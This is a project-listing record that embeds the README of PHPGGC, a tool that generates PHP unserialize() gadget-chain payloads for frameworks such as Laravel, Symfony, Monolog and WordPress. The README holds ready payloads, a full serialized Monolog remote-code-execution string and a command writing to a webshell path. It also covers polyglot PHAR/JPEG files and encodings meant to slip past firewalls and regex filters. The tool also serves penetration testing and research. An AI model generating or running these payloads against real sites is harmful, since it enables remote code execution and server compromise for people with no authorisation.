{"id":13539773,"url":"https://github.com/ambionics/phpggc","last_synced_at":"2025-04-02T06:31:29.191Z","repository":{"id":37733296,"uuid":"96090745","full_name":"ambionics/phpggc","owner":"ambionics","description":"PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically. ","archived":false,"fork":false,"pushed_at":"2023-12-01T12:05:23.000Z","size":547,"stargazers_count":2865,"open_issues_count":1,"forks_count":508,"subscribers_count":65,"default_branch":"master","last_synced_at":"2023-12-02T07:25:48.629Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://ambionics.io/blog","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ambionics.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null}},"created_at":"2017-07-03T08:54:25.000Z","updated_at":"2023-12-20T15:46:29.011Z","dependencies_parsed_at":"2023-12-20T15:46:25.852Z","dependency_job_id":"5695a6d5-de5f-4491-9038-38f7db4bf1d7","html_url":"https://github.com/ambionics/phpggc","commit_stats":null,"previous_names":[],"tags_count":0,"template":null,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ambionics%2Fphpggc","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ambionics%2Fphpggc/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ambionics%2Fphpggc/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ambionics%2Fphpggc/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ambionics","download_url":"https://codeload.github.com/ambionics/phpggc/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":246767973,"owners_count":20830585,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-01T09:01:31.723Z","updated_at":"2025-04-02T06:31:24.183Z","avatar_url":"https://github.com/ambionics.png","language":"PHP","readme":"# PHPGGC: PHP Generic Gadget Chains\n\n*PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically*.\nWhen encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of [frohoff's ysoserial](https://github.com/frohoff/ysoserial), but for PHP.\nCurrently, the tool supports gadget chains such as: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework.\n\n\n## Requirements\n\nPHP \u003e= 5.6 is required to run PHPGGC.\n\n\n## Usage\n\nRun `./phpggc -l` to obtain a list of gadget chains:\n\n```\n$ ./phpggc -l\n\nGadget Chains\n-------------\n\nNAME                                      VERSION                                              TYPE                   VECTOR         I    \nBitrix/RCE1                               17.x.x \u003c= 22.0.300                                   RCE (Function call)    __destruct          \nCakePHP/RCE1                              ? \u003c= 3.9.6                                           RCE (Command)          __destruct          \nCakePHP/RCE2                              ? \u003c= 4.2.3                                           RCE (Function call)    __destruct          \nCodeIgniter4/FR1                          4.0.0 \u003c= 4.3.6                                       File read              __toString     *    \nCodeIgniter4/RCE1                         4.0.2 \u003c= 4.0.3                                       RCE (Function call)    __destruct          \nCodeIgniter4/RCE2                         4.0.0-rc.4 \u003c= 4.3.6                                  RCE (Function call)    __destruct          \nCodeIgniter4/RCE3                         4.0.4 \u003c= 4.3.6                                       RCE (Function call)    __destruct          \nCodeIgniter4/RCE4                         4.0.0-beta.1 \u003c= 4.0.0-rc.4                           RCE (Function call)    __destruct          \nCodeIgniter4/RCE5                         -4.1.3+                                              RCE (Function call)    __destruct          \nCodeIgniter4/RCE6                         -4.1.3 \u003c= 4.2.10+                                    RCE (Function call)    __destruct          \nDoctrine/FW1                              ?                                                    File write             __toString     *    \nDoctrine/FW2                              2.3.0 \u003c= 2.4.0 v2.5.0 \u003c= 2.8.5                       File write             __destruct     *    \nDoctrine/RCE1                             1.5.1 \u003c= 2.7.2                                       RCE (PHP code)         __destruct     *    \nDoctrine/RCE2                             1.11.0 \u003c= 2.3.2                                      RCE (Function call)    __destruct     *    \nDompdf/FD1                                1.1.1 \u003c= ?                                           File delete            __destruct     *    \n...\n```\n\nFilter gadget chains:\n\n```\n$ ./phpggc -l laravel\n\nGadget Chains\n-------------\n\nNAME             VERSION            TYPE                   VECTOR        I    \nLaravel/RCE1     5.4.27             RCE (Function call)    __destruct         \nLaravel/RCE10    5.6.0 \u003c= 9.1.8+    RCE (Function call)    __toString         \nLaravel/RCE2     5.4.0 \u003c= 8.6.9+    RCE (Function call)    __destruct         \nLaravel/RCE3     5.5.0 \u003c= 5.8.35    RCE (Function call)    __destruct    *    \nLaravel/RCE4     5.4.0 \u003c= 8.6.9+    RCE (Function call)    __destruct         \nLaravel/RCE5     5.8.30             RCE (PHP code)         __destruct    *    \nLaravel/RCE6     5.5.* \u003c= 5.8.35    RCE (PHP code)         __destruct    *    \nLaravel/RCE7     ? \u003c= 8.16.1        RCE (Function call)    __destruct    *    \nLaravel/RCE8     7.0.0 \u003c= 8.6.9+    RCE (Function call)    __destruct    *    \nLaravel/RCE9     5.4.0 \u003c= 9.1.8+    RCE (Function call)    __destruct         \n```\n\nEvery gadget chain has:\n\n- Name: Name of the framework/library\n- Version: Version of the framework/library for which gadgets are for\n- Type: Type of exploitation: RCE, File Write, File Read, Include...\n- Vector: the vector to trigger the chain after the unserialize (`__destruct()`, `__toString()`, `offsetGet()`, ...)\n- Informations: Other informations about the chain\n\nUse `-i` to get detailed information about a chain:\n\n```\n$ ./phpggc -i symfony/rce1\nName           : Symfony/RCE1\nVersion        : 3.3\nType           : rce\nVector         : __destruct\nInformations   : \nExec through proc_open()\n\n./phpggc Symfony/RCE1 \u003ccommand\u003e\n```\n\nFor RCE gadgets, the executed command can have 3 formatting types depending on how the gadget works:\n- RCE (Command): `./phpggc Symfony/RCE1 id`\n- RCE (PHP code): `./phpggc Symfony/RCE2 'phpinfo();'`\n- RCE (Function call): `./phpggc Symfony/RCE4 system id`\n\nOnce you have selected a chain, run `./phpggc \u003cgadget-chain\u003e [parameters]` to obtain the payload.\nFor instance, to obtain a payload for Monolog, you'd do:\n\n```\n$ ./phpggc monolog/rce1 assert 'phpinfo()'\nO:32:\"Monolog\\Handler\\SyslogUdpHandler\":1:{s:9:\"*socket\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"*handler\";r:2;s:13:\"*bufferSize\";i:-1;s:9:\"*buffer\";a:1:{i:0;a:2:{i:0;s:10:\"phpinfo();\";s:5:\"level\";N;}}s:8:\"*level\";N;s:14:\"*initialized\";b:1;s:14:\"*bufferLimit\";i:-1;s:13:\"*processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"assert\";}}}\n```\n\nFor a file write using SwiftMailer, you'd do:\n\n```\n$ echo 'It works !' \u003e /tmp/data\n$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data\nO:13:\"Swift_Message\":8:{...}\n```\n\n\n## Wrapper\n\nThe `--wrapper` (`-w`) option allows you to define a PHP file containing the following functions:\n\n- `process_parameters(array $parameters)`: Called right **before** `generate()`, allows to change parameters\n- `process_object(object $object)`: Called right **before** `serialize()`, allows to change the object\n- `process_serialized(string $serialized)`: Called right **after** `serialize()`, allows to change the serialized string\n\nFor instance, if the vulnerable code looks like this:\n\n```php\n\u003c?php\n$data = unserialize($_GET['data']);\nprint $data['message'];\n```\n\nYou could use a `__toString()` chain, wrapping it like so:\n\n```php\n\u003c?php\n# /tmp/my_wrapper.php\nfunction process_object($object)\n{\n    return array(\n        'message' =\u003e $object\n    );\n}\n```\n\nAnd you'd call phpggc like so:\n\n```\n$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id\na:1:{s:7:\"message\";O:18:\"Slim\\Http\\Response\":2:{...}}\n```\n\n\n## PHAR(GGC)\n\n### History\n\nAt BlackHat US 2018, @s_n_t released PHARGGC, a fork of PHPGGC which instead of building a serialized payload, builds a whole PHAR file. This PHAR file contains serialized data and as such can be used for various exploitation techniques (`file_exists`, `fopen`, etc.). The paper is [here](https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf).\n\n### Implementation\n\nPHAR archives come in three different formats: **PHAR, TAR, and ZIP**. The three of them are supported by PHPGGC.\nPolyglot files can be generated using `--phar-jpeg` (`-pj`). Other options are available (use `-h`).\n\n### Examples\n\n```\n$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar\n$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id\n$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar\n$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id\n$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar\n$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id\n```\n\n\n## Encoders\n\nArguments allow to modify the way the payload is output. For instance, `-u` will URL encode it, and `-b` will convert it to base64.\n**Payloads often contain NULL bytes and cannot be copy/pasted as-is**. Use `-s` for a soft URL encode, which keeps the payload readable.\n\nThe encoders can be chained, and as such **the order is important**. For instance, `./phpggc -b -u -u slim/rce1 system id` will base64 the payload, then URLencode it twice.\n\n\n## Advanced: Enhancements\n\n### Fast destruct\n\nPHPGGC implements a `--fast-destruct` (`-f`) flag, that will make sure your serialized object will be destroyed right after the `unserialize()` call, and not at the end of the script. **I'd recommend using it for every `__destruct` vector**, as it improves reliability. For instance, if PHP script raises an exception after the call, the `__destruct` method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first.\n\n```\n$ ./phpggc -f -s slim/rce1 system id\na:2:{i:7;O:18:\"Slim\\Http\\Response\":2:{s:10:\"...\n```\n\n### ASCII Strings\n\nUses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII char to an hexadecimal representation:\n`s:5:\"A\u003cnull_byte\u003eB\u003ccr\u003e\u003clf\u003e\";̀` -\u003e `S:5:\"A\\00B\\09\\0D\";`\nThis can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values.\n*Note: this is experimental and it might not work in some cases.*\n\n### Armor Strings\n\nUses the `S` serialization format instead of the standard `s`. This replaces every char to an hexadecimal representation:\n`s:5:\"A\u003cnull_byte\u003eB\u003ccr\u003e\u003clf\u003e\";̀` -\u003e `S:5:\"\\41\\00\\42\\09\\0D\";`\nThis comes handy when a firewall or PHP code blocks strings.\n*Note: this is experimental and it might not work in some cases.*\n*Note: this makes each string in the payload grow by a factor of 3.*\n\n### Plus Numbers\n\nSometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as `/O:[0-9]+:`. This is easily bypassed using `O:+123:...` instead of `O:123:`. One can use `--plus-numbers \u003ctypes\u003e`, or `-n \u003ctypes\u003e`, to automatically add these `+` signs in front of symbols.\nFor instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only `i` and `d` (float) types can have a `+`.\n\n### Testing your chain\n\nTo test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and run the chain argument-free, with the `--test-payload` option.\n\nFor instance, to test if `Monolog/RCE2` works on Symfony `4.x`:\n\n```\n$ composer create-project symfony/website-skeleton=4.x some_symfony\n$ cd some_symfony\n$ phpggc monolog/rce2 --test-payload\nTrying to deserialize payload...\nSUCCESS: Payload triggered !\n```\n\nThe exit code will be `0` if the payload triggered, `1` otherwise.\n\n### Testing your chain against every version of a package\n\nIf you wish to know which versions of a package a gadget chain works against, you can use `test-gc-compatibility.py`.\n\n```\n$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3\nTesting 59 versions for monolog/monolog against 2 gadget chains.\n\n┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓\n┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃\n┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩\n│ 2.x-dev         │   OK    │      OK      │      KO      │\n│ 2.3.0           │   OK    │      OK      │      KO      │\n│ 2.2.0           │   OK    │      OK      │      KO      │\n│ 2.1.1           │   OK    │      OK      │      KO      │\n│ 2.1.0           │   OK    │      OK      │      KO      │\n│ 2.0.2           │   OK    │      OK      │      KO      │\n│ 2.0.1           │   OK    │      OK      │      KO      │\n│ 2.0.0           │   OK    │      OK      │      KO      │\n│ 2.0.0-beta2     │   OK    │      OK      │      KO      │\n│ 2.0.0-beta1     │   OK    │      OK      │      KO      │\n│ 1.x-dev         │   OK    │      OK      │      KO      │\n│ 1.26.1          │   OK    │      OK      │      KO      │\n│ 1.26.0          │   OK    │      OK      │      KO      │\n│ 1.25.5          │   OK    │      OK      │      KO      │\n│ 1.25.4          │   OK    │      OK      │      KO      │\n                        ...\n│ 1.0.1           │   OK    │      KO      │      KO      │\n│ 1.0.0           │   OK    │      KO      │      KO      │\n│ 1.0.0-RC1       │   OK    │      KO      │      KO      │\n│ dev-main        │   OK    │      OK      │      KO      │\n│ * dev-phpstan   │   OK    │      OK      │      KO      │\n└─────────────────┴─────────┴──────────────┴──────────────┘\n```\n\nYou can specify the versions you want to test by using the following syntaxe.\n\n```\n$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3\nTesting 2 versions for monolog/monolog against 2 gadget chains.\n\n┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓\n┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃\n┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩\n│ 2.3.0           │   OK    │      OK      │      KO      │\n│ 1.25.4          │   OK    │      OK      │      KO      │\n└─────────────────┴─────────┴──────────────┴──────────────┘\n```\n\n# API\n\nInstead of using PHPGGC as a command line tool, you can program PHP scripts:\n\n```php\n\u003c?php\n\n# Include PHPGGC\ninclude(\"phpggc/lib/PHPGGC.php\");\n\n# Include guzzle/rce1\n$gc = new \\GadgetChain\\Guzzle\\RCE1();\n\n# Always process parameters unless you're doing something out of the ordinary\n$parameters = $gc-\u003eprocess_parameters([\n\t'function' =\u003e 'system',\n\t'parameter' =\u003e 'id',\n]);\n\n# Generate the payload\n$object = $gc-\u003egenerate($parameters);\n\n# Most (if not all) GC's do not use process_object and process_serialized, so\n# for quick \u0026 dirty code you can omit those two \n$object = $gc-\u003eprocess_object($object);\n\n# Serialize the payload\n$serialized = serialize($object);\n$serialized = $gc-\u003eprocess_serialized($serialized);\n\n# Display it\nprint($serialized . \"\\n\");\n\n# Create a PHAR file from this payload\n$phar = new \\PHPGGC\\Phar\\Tar($serialized);\nfile_put_contents('output.phar.tar', $phar-\u003egenerate());\n```\n\nThis allows you to tweak the parameters or write exploits more easily.\n*Note: This is pretty experimental at the moment, so please, report bugs*.\n\n\n# Contributing\n\nPull requests are more than welcome. Please follow these simple guidelines:\n\n- `__destruct()` is always the best vector\n- Specify at least the version of the library you've built the payload on\n- Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger.\n- Respect code style: for instance, opening brackets `{` are on a new line, and arrays should be written as `[1, 2, 3]` instead of the old, `array(1, 2, 3)`, notation.\n\nCodewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_.\nYou can define pre- and post- processing methods, if parameters need to be modified.\nHopefully, the already implemented gadgets should be enough for you to build yours.\nOtherwise, I'd be glad to answer your questions.\n\nPlease test as many versions as you can. The nomenclature for versions is as such: `[-]\u003clower-version\u003e \u003c= \u003chigher-version\u003e[+]`. The `-` and `+` signs indicate that your payload may work on respectively lower and higher versions. For instance, if your gadget chain works from version 2.0.0 to version 4.4.1, which is the last version at the time, use `2.0.0 \u003c= 4.4.1+`.\n\nThe `--new \u003cframework\u003e \u003ctype\u003e` command-line option can be used to create the directory and file structure for a new gadget chain.\nFor instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetchain.\n\n\n# Docker\n\nIf you don't want to install PHP, you can build a docker image using:\n\n```\n$ docker build . -t 'phpggc'\n```\n\nYou can then used the dockerized `phpggc`.\n\n### To generate a gadget chain\n\n```\n$ docker run phpggc Monolog/rce1 'system' 'id'\n```\n\n### To test a chain \n\nJump to your environment's folder and run the chain argument-free, with the `--test-payload` option:\n\n```\n$ docker run -v \"$(pwd)\":/app -w /app phpggc Monolog/RCE9 --test-payload\n```\n\n### To generate phar / polyglot files\n\n\u003e Note: The command must be executed in the directory where the input image is located.\n\n```\n$ docker run -v \"$(pwd)\":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id\n```\n\n### To run `test-gc-compatibility.py`\n\n```\n$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2\nRuning on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).\nTesting 2 versions for doctrine/doctrine-bundle against 2 gadget chains.\n\n┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓\n┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃\n┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩\n│ 2.2                      │   OK    │      OK       │      OK       │\n│ 2.7.2                    │   OK    │      OK       │      KO       │\n└──────────────────────────┴─────────┴───────────────┴───────────────┘\n```\n\n# License\n\n[Apache License 2.0](LICENSE)\n","funding_links":[],"categories":["\u003ca id=\"1233584261c0cd5224b6e90a98cc9a94\"\u003e\u003c/a\u003e渗透\u0026\u0026offensive\u0026\u0026渗透框架\u0026\u0026后渗透框架","Exploitation","Table of Contents","PHP","目录","\u003ca id=\"783f861b9f822127dba99acb55687cbb\"\u003e\u003c/a\u003e工具","LLM分析过程","Web","Bugs"],"sub_categories":["\u003ca id=\"80301821d0f5d8ec2dd3754ebb1b4b10\"\u003e\u003c/a\u003ePayload\u0026\u0026远控\u0026\u0026RAT","Insecure Deserialization","Security","安全 Security","\u003ca id=\"ad92f6b801a18934f1971e2512f5ae4f\"\u003e\u003c/a\u003ePayload生成","Deserialization"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fambionics%2Fphpggc","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fambionics%2Fphpggc","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fambionics%2Fphpggc/lists"}